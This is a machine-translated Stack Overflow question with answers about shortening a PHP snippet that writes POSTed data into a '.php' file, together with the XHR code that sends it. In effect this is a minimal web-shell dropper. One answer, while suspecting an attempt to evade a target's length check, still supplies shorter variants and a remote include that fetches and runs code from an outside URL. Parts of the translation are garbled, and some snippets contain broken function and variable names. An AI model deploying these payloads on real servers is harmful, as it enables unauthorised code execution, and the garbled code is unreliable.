我试图减少下面的PHP代码,它使用从XHR调用中接收到的数据创建一个PHP文件,并停止后续代码继续运行。
PHP:
if(isset($_POST[0])){file_put_contents('.php',$_POST[0]);die;}
或(@
,因为通知)
@$_=$_POST[0];if(isset($_)){file_put_contents('.php',$_);die;}
JavaScript:
var xhr = new XMLHttpRequest();
xhr.open('POST', location);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('0=' + encodeURIComponent(`<?php unlink(__file__);?>`));
我尝试过:将if检查更改为if($_POST[0])
、三元算子、零聚结算子和/或try{}catch(Exception $e){}
、删除if括号和/或大括号、搜索创建文件的替代方法、删除分号、尝试使用$_POST[]
和/或$_POST['']
等。
我已经将exit
更改为die
,文件名改为emtpy,删除空格和换行,使$_POST
键成为一个数字,并使2替代设置一个小变量作为数据。
JavaScript部件不需要减少,如果它减少了PHP代码,它甚至可以更大。
注:
是的,我知道这是怎么回事。
不,我不打算使用其中的任何一个,它只是编码的编码,因为我编码我自己的测试项目,试图了解更多。
另外,如果这件事被当作不是这个网站的问题,那么我写这篇文章的时候,我猜.
发布于 2018-01-18 09:55:29
使用fputs(fopen('.php','x'),$_POST[0]);
而不是file_put_contents('.php',$_POST[0]);
可以保存一个字符,但它不会覆盖。
如果文件已经存在,fopen()调用将失败,方法是返回FALSE并生成级别为E_WARNING的错误。
因此,真正减少代码(2个字符)的唯一方法是以以下方式使用逻辑运算符 &&
(命名和但and
):
isset($_POST[0])&&file_put_contents('.php',$_POST[0])&¨
如果&&
的左侧为真,则为右侧。
因此,如果isset($_POST[0])
为false,它将转到下一行代码,如果为真,则执行其余的代码。
如果它是带有isset($_POST[0])&&file_put_contents('.php',$_POST[0])||die;
的||
,那么如果file_put_contents('.php',$_POST[0])
是真的,它就不会运行file_put_contents('.php',$_POST[0])
,因为它只需要这两种中的一种为真。
发布于 2018-01-18 06:21:03
想必您正试图绕过对目标的长度检查。缩小PHP没有任何性能/存储方面的好处。
要么你试图合法地测试防御措施,要么颠覆一个你不应该访问的系统。前者有点傻。后者显然是离题的话题。但是..。
从我的头顶上..。
$x=$POST[0];($x&&file_put_contents('.php',$x));exit;
OTOH如果您试图利用XSLT,那么这只处理一个指令,因此.
$_POST[0]&&file_put_content('.php',$_POST[0])||die()
但如果你的目标配置得那么糟糕.
require('http://abc.de/abcdef')
(在URL来自缩短服务的情况下,当您尝试输入一个更真实的值时,就会变得比较混乱)
https://stackoverflow.com/questions/48321549
复制